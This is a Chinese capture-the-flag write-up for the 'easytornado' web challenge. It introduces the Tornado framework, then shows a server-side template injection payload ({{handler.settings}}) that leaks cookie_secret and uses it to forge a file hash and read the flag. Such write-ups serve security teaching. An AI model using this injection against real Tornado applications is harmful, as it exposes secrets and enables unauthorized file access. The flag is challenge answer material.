(文章目录)


前言

Tornado是一个Python的Web框架,它可以用来构建高效的异步Web应用程序。它是一个轻量级的、基于协程的Web框架,旨在提供高性能、高可伸缩性的Web应用程序,特别适用于实时Web服务和大规模的并发请求处理。

Tornado的组成部分包括:

  1. Web框架:提供基本的Web应用程序功能,如路由、请求处理、cookie和会话处理等。

  2. 异步网络库:基于Python的标准库asyncio,可以轻松处理大量并发请求和长连接。

  3. HTTP客户端/服务器:内置支持HTTP协议,可以方便地处理HTTP请求和响应。

  4. 模板引擎:Tornado使用类似于Jinja2的模板引擎,可以方便地将数据呈现到HTML页面中。

  5. WebSocket:Tornado支持WebSocket协议,可以轻松构建实时Web应用程序。

下面是Tornado实现简单web服务源码

import tornado.ioloop
import tornado.web

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("Hello, world")

application = tornado.web.Application([
    (r"/", MainHandler),
])

if __name__ == "__main__":
    application.listen(8888)
    tornado.ioloop.IOLoop.instance().start()

一、easytornado

1.题目

在这里插入图片描述

2.答题

在这里插入图片描述 1、访问flag.txt 在这里插入图片描述 看到了/flllllllllag这个文件,估计是flag,但是看到了上面的验证逻辑,有个filehash值,按照格式把文件名的hash值搞出来,看格式应该是MD5,但是不对。

2、访问welcome.txt 在这里插入图片描述

发现了render,render是渲染HTML页面用到的函数。

3、访问hints.txt 在这里插入图片描述 发现加密方式是MD5值是文件名的MD5加上cookie_secret这个值,之后再MD5加密。

4、获取cookie_secret值

http://111.200.241.244:52521/file?filename=/flag.txt&filehash=84c4fc3288f79a6d1fb4a73b2536b6c2

获取文件时报错 在这里插入图片描述 msg存在模板注入漏洞,读取cookie_secret

error?msg={{handler.settings}}

在这里插入图片描述 得到cookie_secret:d4326471-bd08-4d3b-af91-67fb1ecd89a0

5、进行加密 在这里插入图片描述

/fllllllllllllag的32位得到:3bf9f6cf685a6dd8defadabfb41a03a1

在进行第二次加密:d4326471-bd08-4d3b-af91-67fb1ecd89a03bf9f6cf685a6dd8defadabfb41a03a1

在这里插入图片描述

得到:da37411c3f435649c3abee7c92a1d12b

6、获取flag

/file?filename=/fllllllllllllag&filehash=da37411c3f435649c3abee7c92a1d12b

在这里插入图片描述 得到flag:flag{3f39aea39db345769397ae895edb9c70}

总结

基于安全的考虑,需要给cookie加上Secure和HttpOnly属性,HttpOnly比较好理解,设置HttpOnly=true的cookie不能被js获取到,无法用document.cookie打出cookie的内容。

Secure属性是说如果一个cookie被设置了Secure=true,那么这个cookie只能用https协议发送给服务器,用http协议是不发送的。换句话说,cookie是在https的情况下创建的,而且他的Secure=true,那么之后你一直用https访问其他的页面(比如登录之后点击其他子页面),cookie会被发送到服务器,你无需重新登录就可以跳转到其他页面。但是如果这是你把url改成http协议访问其他页面,你就需要重新登录了,因为这个cookie不能在http协议中发送。